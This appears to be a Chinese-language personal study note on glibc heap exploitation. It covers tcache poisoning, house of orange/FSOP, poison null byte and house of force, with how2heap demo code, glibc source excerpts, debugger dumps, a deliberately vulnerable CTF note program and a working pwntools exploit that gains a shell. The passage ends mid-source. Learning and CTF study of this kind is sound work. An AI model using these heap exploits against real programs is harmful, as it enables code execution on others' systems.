# Pwn-heap note 2 ## 筆記連結 heap note 1: https://hackmd.io/@naup96321/S1knTRjVR heap note 2: https://hackmd.io/@naup96321/ryDzdYbjA ## tcache poisoning ### 原理 覆蓋tcache的next來任意malloc記憶體 ### how2heap demo(glibc 2.31) ```c #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> int main() { // disable buffering setbuf(stdin, NULL); setbuf(stdout, NULL); size_t stack_var; printf("我們希望 malloc() 返回的地址是 %p。\n", (char *)&stack_var); printf("分配 2 個緩衝區。\n"); intptr_t *a = malloc(128); printf("malloc(128): %p\n", a); intptr_t *b = malloc(128); printf("malloc(128): %p\n", b); printf("釋放緩衝區...\n"); free(a); free(b); printf("現在 tcache 列表為 [ %p -> %p ]。\n", b, a); printf("我們將數據中 %p 處的前 %lu 字節(fd/next 指針)重寫為\n" "指向我們想要控制的位置 (%p)。\n", b, sizeof(intptr_t), &stack_var); b[0] = (intptr_t)&stack_var; printf("現在 tcache 列表為 [ %p -> %p ]。\n", b, &stack_var); printf("第一次 malloc(128): %p\n", malloc(128)); printf("現在 tcache 列表為 [ %p ]。\n", &stack_var); intptr_t *c = malloc(128); printf("第二次 malloc(128): %p\n", c); assert((long)&stack_var == (long)c); return 0; } ``` 我們一行一行邊跑邊看 ```c pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File 0x400000 0x401000 r--p 1000 0 /home/naup/Desktop/pwn/tcache_poinsoning/demo 0x401000 0x402000 r-xp 1000 1000 /home/naup/Desktop/pwn/tcache_poinsoning/demo 0x402000 0x403000 r--p 1000 2000 /home/naup/Desktop/pwn/tcache_poinsoning/demo 0x403000 0x404000 r--p 1000 2000 /home/naup/Desktop/pwn/tcache_poinsoning/demo 0x404000 0x405000 rw-p 1000 3000 /home/naup/Desktop/pwn/tcache_poinsoning/demo 0x7ffff7dc3000 0x7ffff7de5000 r--p 22000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7de5000 0x7ffff7f5d000 r-xp 178000 22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7f5d000 0x7ffff7fab000 r--p 4e000 19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fab000 0x7ffff7faf000 r--p 4000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7faf000 0x7ffff7fb1000 rw-p 2000 1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fb1000 0x7ffff7fb7000 rw-p 6000 0 [anon_7ffff7fb1] 0x7ffff7fc9000 0x7ffff7fcd000 r--p 4000 0 [vvar] 0x7ffff7fcd000 0x7ffff7fcf000 r-xp 2000 0 [vdso] 0x7ffff7fcf000 0x7ffff7fd0000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7fd0000 0x7ffff7ff3000 r-xp 23000 1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ff3000 0x7ffff7ffb000 r--p 8000 24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe] 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall] ``` 首先我們希望讓我們可以malloc一塊到stack上,這裡的目標是`(char *)&stack_var` ``` 我們希望 malloc() 返回的地址是 0x7fffffffdf38 ``` malloc兩塊後又free掉 ![image](https://hackmd.io/_uploads/rybOOPw5R.png) tcache_entry -> 0x405330(chunk b) -> 0x4052a0(chunk a) ![image](https://hackmd.io/_uploads/SyRFuwP9A.png) 現在把b的fd蓋成stack addr 整個tcache變成 tcache_entry -> 0x405330(chunk b) -> 0x7fffffffdf38 -> ... ![image](https://hackmd.io/_uploads/rJhHKwPc0.png) 最後malloc第一次拿到chunk b tcache_entry -> 0x7fffffffdf38 -> ... malloc第二次就拿到0x7fffffffdf38可以stack任意寫了 ### 題目 #### source code ```c #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> // Testing in libc-2.31 // gcc -o chal -z lazy chal.c -fno-stack-protector -no-pie char *g_ptrs[0x20]; int g_size[0x20]; int g_used[0x20]; int idx = 0; int shell(){ system("/bin/sh"); } void init() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); } int read_num() { int num; scanf("%d", &num); return num; } void menu() { puts("=== Note System v1.87 ==="); puts("1) Create Note"); puts("2) Create Note in NEW way"); puts("3) Get Note"); puts("4) Set Note"); puts("5) Delete Note"); puts("6) Bye"); printf("# "); } void create() { int size; if (idx >= 0x20) { return; } printf("size:\n"); scanf("%d", &size); g_ptrs[idx] = malloc(size); g_size[idx] = size; g_used[idx] = 1; printf("Create: g_ptrs[%d]\n", idx); idx++; } void create2() { int size; if (idx >= 0x20) { return; } printf("size:\n"); scanf("%d", &size); g_ptrs[idx] = calloc(1, size); g_size[idx] = size; g_used[idx] = 1; printf("Create: g_ptrs[%d]\n", idx); idx++; } void get() { int idx; printf("idx:\n"); scanf("%d", &idx); if (g_used[idx]) { printf("g_ptrs[%d]: %s\n", idx, g_ptrs[idx]); } } void set() { int idx; printf("idx:\n"); scanf("%d", &idx); printf("str:\n"); read(0, g_ptrs[idx], g_size[idx]); } void delete() { int idx; printf("idx:\n"); scanf("%d", &idx); if (g_ptrs[idx] && g_used[idx]) { free(g_ptrs[idx]); g_used[idx] = 0; } } int a=1; int main(void) { init(); size_t stack_var; printf("gift: %p \n", (char *)&stack_var); while(a) { menu(); switch(read_num()) { case 1: create(); break; case 2: create2(); break; case 3: get(); break; case 4: set(); break; case 5: delete(); break; case 6: a=0; break; } } return 0; } ``` #### script 禁用了double free但有UAF,可以直些做tcache poinsoning,來寫ret address跳到shell ```python= from pwn import * DEBUG=input('open debug?(y/n)') if DEBUG=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] r=process('./chal') def create1(size): r.sendlineafter(b'#',b'1') r.sendlineafter(b'size:',str(size).encode()) def create2(size): r.sendlineafter(b'#',b'2') r.sendlineafter(b'size',str(size).encode()) def get(index): r.sendlineafter(b'#',b'3') r.sendlineafter(b'idx:',str(index).encode()) r.recvuntil(b']: ') rec=r.recvline().strip() #print(rec) return rec def set(index, chunkstr): r.sendlineafter(b'#',b'4') r.sendlineafter(b'idx:',str(index).encode()) r.sendafter(b'str',chunkstr) def delete(index): r.sendlineafter(b'#',b'5') r.sendlineafter(b'idx:' , str(index).encode()) if DEBUG=='y': gdb.attach(r,"b *0x401752") r.recvuntil(b"gift: ") stack_var=int(r.recvline().strip(),16) print("NAUPINFO @ STACK: ",hex(stack_var)) create1(0x60) # idx 0 create1(0x60) # idx 1 delete(0) delete(1) addr=p64(stack_var) set(1,addr) create1(0x60) # idx 2 create1(0x60) # idx 3 shell_addr=0x401236+0x5 set(3,b'a'*0x10+p64(shell_addr)) r.sendlineafter(b'#',b'6') r.interactive() ``` ### tcache poinsoning(glibc 2.35) ```c #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> int main() { // 禁用緩衝 setbuf(stdin, NULL); setbuf(stdout, NULL); printf("此程式檔演示了一種簡單的tcache中毒攻擊,通過欺騙malloc\n" "返回指向任意位置(在此例中為堆棧)的指標。\n" "該攻擊與fastbin損壞攻擊非常相似。\n"); printf("在補丁https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f之後,\n" "我們需要在劫持fd指標之前再創建並釋放一個chunk進行填充。\n\n"); printf("在補丁https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41之後,\n" "執行tcache中毒需要一個堆地址洩露。\n" "同樣的補丁也確保tcache返回的chunk是正確對齊的。\n\n"); size_t stack_var[0x10]; size_t *target = NULL; // 選擇一個正確對齊的目標地址 for(int i=0; i<0x10; i++) { if(((long)&stack_var[i] & 0xf) == 0) { target = &stack_var[i]; break; } } assert(target != NULL); printf("我們希望malloc()返回的地址是 %p。\n", target); printf("分配2個緩衝區。\n"); intptr_t *a = malloc(128); printf("malloc(128): %p\n", a); intptr_t *b = malloc(128); printf("malloc(128): %p\n", b); printf("釋放緩衝區...\n"); free(a); free(b); printf("現在tcache列表為 [ %p -> %p ]。\n", b, a); printf("我們將覆蓋位於%p的數據的前%lu字節(fd/next指標)\n" "以指向要控制的位置(%p)。\n", b, sizeof(intptr_t), target); // 漏洞 // 以下操作假設b的地址是已知的,這需要一個堆洩漏,為了把fd加密,這樣再使用解密xor才會是我們想要的值 b[0] = (intptr_t)((long)target ^ (long)b >> 12); // 漏洞 printf("現在tcache列表為 [ %p -> %p ]。\n", b, target); printf("1st malloc(128): %p\n", malloc(128)); printf("現在tcache列表為 [ %p ]。\n", target); intptr_t *c = malloc(128); printf("2nd malloc(128): %p\n", c); printf("我們獲得了控制\n"); assert((long)target == (long)c); return 0; } ``` 這邊我們關注一個點,就是stack需要對齊,因為glibc 2.35有檢查是否對齊記憶體 另外我們寫入記憶體的位置不能單純的直接寫入stack,因為fd會加密 ```c static __always_inline void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected"); tcache->entries[tc_idx] = REVEAL_PTR (e->next); --(tcache->counts[tc_idx]); e->key = 0; return (void *) e; } ``` 可以觀察到chunk的fd位置不太一樣 ![image](https://hackmd.io/_uploads/ByznB0MjA.png) 他的fd呼叫了 PROTECT_PTR ```c static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); /* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */ e->key = tcache_key; e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]); tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } ``` 對當前chunk做pos >> 12再去 xor原來pointer,這正是新加入的pointer protect ```c #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) ``` 簡單demo一下怎麼算 這裡是free掉的記憶體 ```shell pwndbg> x/50xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000071 0x5555555592a0: 0x0000000555555559 0x8681fa476955beb9 0x5555555592b0: 0x0000000000000000 0x0000000000000000 0x5555555592c0: 0x0000000000000000 0x0000000000000000 0x5555555592d0: 0x0000000000000000 0x0000000000000000 0x5555555592e0: 0x0000000000000000 0x0000000000000000 0x5555555592f0: 0x0000000000000000 0x0000000000000000 0x555555559300: 0x0000000000000000 0x0000000000000071 0x555555559310: 0x000055500000c7f9 0x8681fa476955beb9 0x555555559320: 0x0000000000000000 0x0000000000000000 0x555555559330: 0x0000000000000000 0x0000000000000000 0x555555559340: 0x0000000000000000 0x0000000000000000 ``` tcache bin上的狀況 ``` tcache_entry[5](3): 0x555555559380 --> 0x555555559310 --> 0x5555555592a0 ``` 如果我們把 0x000055500000c7f9 ^(0x555555559310>>12) = 0x5555555592a0 可以推回原來的值 剩下的跟glibc 2.31都相同 ### tcache poinsoning(glibc 2.39) 跟glibc 2.35一樣 ## house of orange 在沒有free的情況下來RCE ### 原理 ### leaklibc 首先是leak libc的部分 當我們malloc大小大於top chunk剩餘空間,且FastBin、SmallBin、LargeBin、UnsortedBin都不能找到可以對應的空間時候,ptmalloc會調用brk/mmap申請一塊新的空間,原來的top chunk會被加到unsorted bin中 不過有以下限制 1. malloc chunk size < mmp_.mmap_threshold (默認128KB,也就是0x20000),不然會直接syscall mmap 2. Top Chunk size要對齊page(0x1000) 3. Top chunk size > MINSIZE(0x10) 4. Top Chunk的Size < malloc chunk size + MINSIZE 5. Top Chunk Size Pbit = 1 其實只要改高位top chunk size(0x20fd1 -> 0xfd1) 再去malloc 0x1000 之後把這塊malloc回來就可以了 ### unsorted bin attack 首先是先了解unsorted bin attack 可以參考Pwn-heap note 1的部分 https://hackmd.io/4fsviCDBQqG_aTIeq1fcMw?view#unsorted-bin-attack ### IO_FILE 先來關注malloc_printerr https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L4987 ```c static void malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr) { /* Avoid using this arena in future. We do not attempt to synchronize this with anything else because we minimally want to ensure that __libc_message gets its resources safely without stumbling on the current corruption. */ if (ar_ptr) set_arena_corrupt (ar_ptr); if ((action & 5) == 5) __libc_message (action & 2, "%s\n", str); else if (action & 1) { char buf[2 * sizeof (uintptr_t) + 1]; buf[sizeof (buf) - 1] = '\0'; char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0); while (cp > buf) *--cp = '0'; __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n", __libc_argv[0] ? : "<unknown>", str, cp); } else if (action & 2) abort (); } ``` 他主要調用了__libc_message 跟進去看 https://elixir.bootlin.com/glibc/glibc-2.23/source/sysdeps/posix/libc_fatal.c#L67 這邊可以看到他最後調用了abort來kill整個process ```c if (do_abort) { BEFORE_ABORT (do_abort, written, fd); /* Kill the application. */ abort (); } ``` 重點關注abort這裡 https://elixir.bootlin.com/glibc/glibc-2.23/source/stdlib/abort.c#L50 ```c if (stage == 1) { ++stage; fflush (NULL); } ``` 調用flush 實際上調用 _IO_fflush https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/iofflush.c#L31 _IO_fflush 調用 _IO_flush_all 調用 _IO_flush_all_lockp https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c#L814 https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c#L759 他會從 _IO_list_all 開始循環,將當前循環的fp作為 _IO_OVERFLOW (fp, EOF) 參數傳入 ```c int _IO_flush_all_lockp (int do_lock) { int result = 0; struct _IO_FILE *fp; int last_stamp; #ifdef _IO_MTSAFE_IO __libc_cleanup_region_start (do_lock, flush_cleanup, NULL); if (do_lock) _IO_lock_lock (list_all_lock); #endif last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; if (last_stamp != _IO_list_all_stamp) { /* Something was added to the list. Start all over again. */ fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; } #ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock (list_all_lock); __libc_cleanup_region_end (0); #endif return result; } ``` 看到這裡應該可以發現如果能偽造 IO_list_all上的IO_FILE,就可以控制程式 另外也可以劫持 IO_list_all,來做FSOP 結合前面的 unsorted bin可以在任意 address寫上一個main arena address,所以我們將 IO_list_all寫上 main arena位置,此時的main arena被當 IO_FILE(然而main arena不可控) ```c 'amd64':{ 0x0:'_flags', 0x8:'_IO_read_ptr', 0x10:'_IO_read_end', 0x18:'_IO_read_base', 0x20:'_IO_write_base', 0x28:'_IO_write_ptr', 0x30:'_IO_write_end', 0x38:'_IO_buf_base', 0x40:'_IO_buf_end', 0x48:'_IO_save_base', 0x50:'_IO_backup_base', 0x58:'_IO_save_end', 0x60:'_markers', 0x68:'_chain', 0x70:'_fileno', 0x74:'_flags2', 0x78:'_old_offset', 0x80:'_cur_column', 0x82:'_vtable_offset', 0x83:'_shortbuf', 0x88:'_lock', 0x90:'_offset', 0x98:'_codecvt', 0xa0:'_wide_data', 0xa8:'_freeres_list', 0xb0:'_freeres_buf', 0xb8:'__pad5', 0xc0:'_mode', 0xc4:'_unused2', 0xd8:'vtable' } ``` offset = 0x68的位置是 _chain,他會指向下一塊IO_FILE,如果能把它指向 heap chunk,那就可以打偽造一塊完整的 IO_FILE 來RCE 那要如何讓 _chain變成heap chunk address呢? 關注一下main arena ![image](https://hackmd.io/_uploads/SyLEJjDRA.png) unsorted bin後面的 62 塊chunk均為 small bins small bins 內的chunk 如下 |bins|chunk size(32bits)|chunk size(64bits)| |----|------------------|------------------| |2|16|32| |3|24|48| |4|32|64| |x|8\*x|16\*x| |63|504|1008| 目前_chain 指向 main arena + 88 + 0x68 = main arena + 0xc0 這是一個small bin,將small bin的chunk偽造,頭部改成/bin/sh\x00,vtable的IO_OVERFLOW改system 透過觸發malloc err來觸發 ![image](https://hackmd.io/_uploads/H1i75zYAR.png) https://bestwing.me/IO_FILE_Pwn.html ### how2heap(glibc 2.23) ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> int winner(char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; p1 = malloc(0x400-16); top = (size_t *)((char *)p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; memcpy((char *)top, "/bin/sh\x00", 8); top[1] = 0x61; FILE *fp = (FILE *)top; fp->_mode = 0; fp->_IO_write_base = (char *)2; fp->_IO_write_ptr = (char *)3; size_t *jump_table = &top[12]; jump_table[3] = (size_t)&winner; *(size_t *)((size_t)fp + sizeof(FILE)) = (size_t)jump_table; malloc(10); return 0; } int winner(char *ptr) { system(ptr); syscall(SYS_exit, 0); return 0; } ``` ## poison_null_byte ### how2heap(glibc 2.31) ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); puts("歡迎來到 poison null byte!"); puts("此程式在 Ubuntu 20.04 64bit 測試。"); puts("當你有一個越界寫入至 malloc 的區域且包含一個 null byte 時,此技術可以使用。"); // 步驟1: 分配填充區 puts("步驟1: 分配一個較大的填充區,以便偽造的 chunk 位址的倒數第二個byte為 \\x00"); void *tmp = malloc(0x1); void *heap_base = (void *)((long)tmp & (~0xfff)); printf("堆地址: %p\n", heap_base); size_t size = 0x10000 - ((long)tmp & 0xffff) - 0x20; printf("計算填充區塊大小: 0x%lx\n", size); puts("分配填充區。這是必須的,否則需要進行4位元的暴力破解,因為我們將覆寫最少的兩個byte。"); void *padding = malloc(size); // 步驟2: 分配 prev chunk 和 victim chunk puts("\n步驟2: 分配兩個相鄰的區塊。"); puts("第一個稱為 'prev',第二個稱為 'victim'。"); void *prev = malloc(0x500); void *victim = malloc(0x4f0); puts("執行 malloc(0x10) 以避免合併"); malloc(0x10); printf("prev 區塊: malloc(0x500) = %p\n", prev); printf("victim 區塊: malloc(0x4f0) = %p\n", victim); // 步驟3: 將 prev 連接到 largebin puts("\n步驟3: 將 prev 連接到 largebin"); puts("這一步對於稍後偽造一個偽造的 chunk 是必需的"); puts("prev 的 fd_nextsize 和 bk_nextsize 將是fake chunk的 fd 和 bck 指標"); puts("分配一個大小比 prev 稍小的區塊 'a'"); void *a = malloc(0x4f0); printf("a: malloc(0x4f0) = %p\n", a); puts("執行 malloc(0x10) 以避免合併"); malloc(0x10); puts("分配一個大小比 prev 稍大的區塊 'b'"); void *b = malloc(0x510); printf("b: malloc(0x510) = %p\n", b); puts("執行 malloc(0x10) 以避免合併"); malloc(0x10); puts("\n目前的堆佈局\n" " ... ...\n" "填充區\n" " prev 區塊 (地址=0x??0010, 大小=0x510)\n" " victim 區塊 (地址=0x??0520, 大小=0x500)\n" " 障礙區塊 (地址=0x??0a20, 大小=0x20)\n" " a 區塊 (地址=0x??0a40, 大小=0x500)\n" " 障礙區塊 (地址=0x??0f40, 大小=0x20)\n" " b 區塊 (地址=0x??0f60, 大小=0x520)\n" " 障礙區塊 (地址=0x??1480, 大小=0x20)\n"); puts("現在釋放 a、b、prev"); free(a); free(b); free(prev); puts("目前的 unsorted_bin: header <-> [prev, 大小=0x510] <-> [b, 大小=0x520] <-> [a, 大小=0x500]\n"); puts("分配一個巨大的區塊以啟用排序"); malloc(0x1000); puts("目前的 large_bin: header <-> [b, 大小=0x520] <-> [prev, 大小=0x510] <-> [a, 大小=0x500]\n"); puts("這會將 a、b 和 prev 加入 largebin\n現在 prev 在 largebin 中"); printf("prev 的 fd_nextsize 指向 a: %p\n", ((void **)prev)[2] + 0x10); printf("prev 的 bk_nextsize 指向 b: %p\n", ((void **)prev)[3] + 0x10); // 步驟4: 再次分配 prev 以構建偽造的 chunk puts("\n步驟4: 再次分配 prev 以構建偽造的 chunk"); puts("由於大區塊按大小排序,而 a 的大小比 prev 小,"); puts("我們可以像以前一樣分配 0x500 來取出 prev"); void *prev2 = malloc(0x500); printf("prev2: malloc(0x500) = %p\n", prev2); puts("現在 prev2 == prev,prev2->fd == prev2->fd_nextsize == a,prev2->bk == prev2->bk_nextsize == b"); assert(prev == prev2); puts("偽造的 chunk 包含在 prev 中,大小比 prev 小 0x10"); puts("因此將其大小設置為 0x501 (0x510-0x10 | flag)"); ((long *)prev)[1] = 0x501; puts("並將其 prev_size (next_chunk) 設置為 0x500 以繞過 size==prev_size (next_chunk) 檢查"); *(long *)(prev + 0x500) = 0x500; printf("偽造的 chunk 應位於: %p\n", prev + 0x10); puts("使用 prev 的 fd_nextsize 和 bk_nextsize 作為fake chunk的 fd 和 bk"); puts("現在我們有 fake_chunk->fd == a 和 fake_chunk->bk == b"); // 步驟5: 繞過 unlinking puts("\n步驟5: 操作剩餘指標以繞過後續的 unlinking。"); puts("首先分配 0x510 區塊來取出 b"); void *b2 = malloc(0x510); printf("由於 b 中的剩餘指標,b->fd 現在指向 a: %p\n", ((void **)b2)[0] + 0x10); printf("我們可以覆寫最少的兩個byte使其指向偽造的 chunk。\n" "如果倒數第二個byte不是 \\x00,我們現在需要猜測該寫什麼\n"); ((char *)b2)[0] = '\x10'; ((char *)b2)[1] = '\x00'; // b->fd <- fake_chunk printf("覆寫後,b->fd 是: %p,這是指向我們偽造 chunk 的指標\n", ((void **)b2)[0]); puts("對於 a,我們可以先將其移動到 unsorted bin 中" "從 largebin 中取出並釋放它到 unsortedbin"); void *a2 = malloc(0x4f0); free(a2); puts("現在釋放 victim 到 unsortedbin 使 a->bck 指向 victim"); free(victim); printf("a->bck: %p, victim: %p\n", ((void **)a)[1], victim); puts("再次取出 a 並覆寫 a->bck 指向fake chunk"); void *a3 = malloc(0x4f0); ((char *)a3)[8] = '\x10'; ((char *)a3)[9] = '\x00'; printf("覆寫後,a->bck 是: %p,這是指向我們偽造 chunk 的指標\n", ((void **)a3)[1]); // 通過 malloc.c 中的 unlink_chunk: // mchunkptr fd = p->fd; // mchunkptr bk = p->bk; // if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) // malloc_printerr ("corrupted double-linked list"); puts("我們有:\n" "fake_chunk->fd->bk == a->bk == fake_chunk\n" "fake_chunk->bk->fd == b->fd == fake_chunk\n" "這將繞過 unlink 檢查\n"); // 使用fake chunk分配 puts("現在我們可以使用fake chunk進行分配!"); void *fake_chunk = malloc(0x4f0); printf("分配fake chunk: %p\n", fake_chunk); // 完成 puts("success!"); return 0; } ``` 使用的情境是當有一個null byte溢出可以蓋到下一塊malloc chunk的size可用 ## House Of Force (Glibc 2.23 2.27) 需要有一些條件: 1. 可以透過overflow來覆蓋到 top chunk size的地方 2. 能自由控制heap malloc大小 https://ctf-wiki.org/en/pwn/linux/user-mode/heap/ptmalloc2/house-of-force/ https://shizhongpwn.github.io/2020/02/10/house-of-force/ ### 原理 因為Glibc對於top chunk實作時,若free掉的chunk都不滿足要求,會從top chunk割新的大小相應的chunk分配 當使用top chunk所分配的chunk,size值由user任意控制時,可以使top chunk指向任意位置 ```c= victim = av->top;//获取当前top chunk的地址 size = chunksize (victim);//计算top chunk的大小 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) //MINSIZE就是堆块的最小size,32位程序为0x10,64位程序为0x20 //如果top chunk的大小大于nb(程序执行malloc需要分配的内存大小) //加上MINSIZE的大小,就从top chunk中来切一块内存 //之所以要加上MINSIZE是要保证切割后剩余的内存要是一个完整的堆块 { remainder_size = size - nb;//remainder_size为切割后的剩余大小 remainder = chunk_at_offset (victim, nb);//remainder为切割前top chunk+nb的值,也就是切割后top chunk的地址 av->top = remainder;//更新top chunk //下面两个set_head给切割出去的堆块以及切割后的top chunk设置新的size set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); check_malloced_chunk (av, victim, nb);//调试用的,这里没用 void *p = chunk2mem (victim);//返回用户指针 alloc_perturb (p, bytes); return p; } ``` 這裡若能覆蓋size成一個很大的數,就可以bypass top chunk size改成-1無論如何都可以過 ```c= remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); //通过原来的top chunk和要分配出去的chunk的size,通过偏移的方式找到新的top chunk的位置。 av->top = remainder; //把分配后的剩余堆块当做top chunk set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); /*设置top chunk的chunk_header*/ ``` 接下來top pointer更新,接下來分配的chunk都會分配到pointer指向的address,若能控制pointer,就等於實現了一次任意寫 另外top chunk size也會更新,所以要確保 remainder_size >= 下次申請的chunk size + MINSIZE ```c= victim = av->top; size = chunksize(victim); remainder_size = size - nb; set_head(remainder, remainder_size | PREV_INUSE); ``` 總結,其實要做的事情就是,把top chunk size蓋成-1,來bypass判斷,再來是malloc一個數字,算offset,來把top chunk推到對應的位置,下次malloc就可以拿到我們想要的那塊,來任意寫 ### 例子(這邊用2.23舉例) ```c #include <stdio.h> #include <stdlib.h> int main() { long *ptr,*ptr2; ptr=malloc(0x10); ptr=(long *)(((long)ptr)+24); *ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff malloc(-4120); // <=== 减小top chunk指针 malloc(0x10); // <=== 分配块实现任意地址写 } ``` 先malloc了一塊 ```shell 0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk 0x602030: 0x0000000000000000 0x0000000000000000 ``` 寫入-1會變成超大的數字0xffffffffffffffff ```shell 0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0xffffffffffffffff <=== top chunk size被更改 0x602030: 0x0000000000000000 0x0000000000000000 ``` ```shell 0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602020 <=== top chunk位置 0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78 ``` 0x601020 是 malloc@got.plt ``` 0x601020: 0x00007ffff7a91130 <=== malloc@got.plt ``` 再來malloc(-4120);把top chunk推到我要寫的地方 所以我們應該要推到0x601010(加header) 0x601010-0x602020=-4112 ```c /* Check if a request is so large that it would wrap around zero when padded and aligned. To simplify some other code, the bound is made low enough so that adding MINSIZE will also not wrap around zero. */ #define REQUEST_OUT_OF_RANGE(req) \ ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE)) /* pad request bytes into a usable size -- internal version */ //MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1 #define request2size(req) \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \ ? MINSIZE \ : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) /* Same, except also perform argument check */ #define checked_request2size(req, sz) \ if (REQUEST_OUT_OF_RANGE(req)) { \ __set_errno(ENOMEM); \ return 0; \ } \ (sz) = request2size(req); ``` 需要通過 REQUEST_OUT_OF_RANGE(將請求的大小轉換為無符號長整型) 意思是 malloc的值在負數內不能大於 -2 * MINSIZE 另外 -4112 對齊,直接減掉 SIZE_SZ 和 MALLOC_ALIGN_MASK ![image](https://hackmd.io/_uploads/HkzarmzqR.png) ``` 0x7ffff7dd1b20 <main_arena>:\ 0x0000000100000000 0x0000000000000000 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000601010 <=== 可以观察到top chunk被抬高 0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78 ``` 另外要注意可能搬移後改動的東西會導致crash ### 題目 https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/house-of-force/hitcontraning_lab11 #### source code ```c= #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> struct item { int size; char *name; }; struct item itemlist[100] = 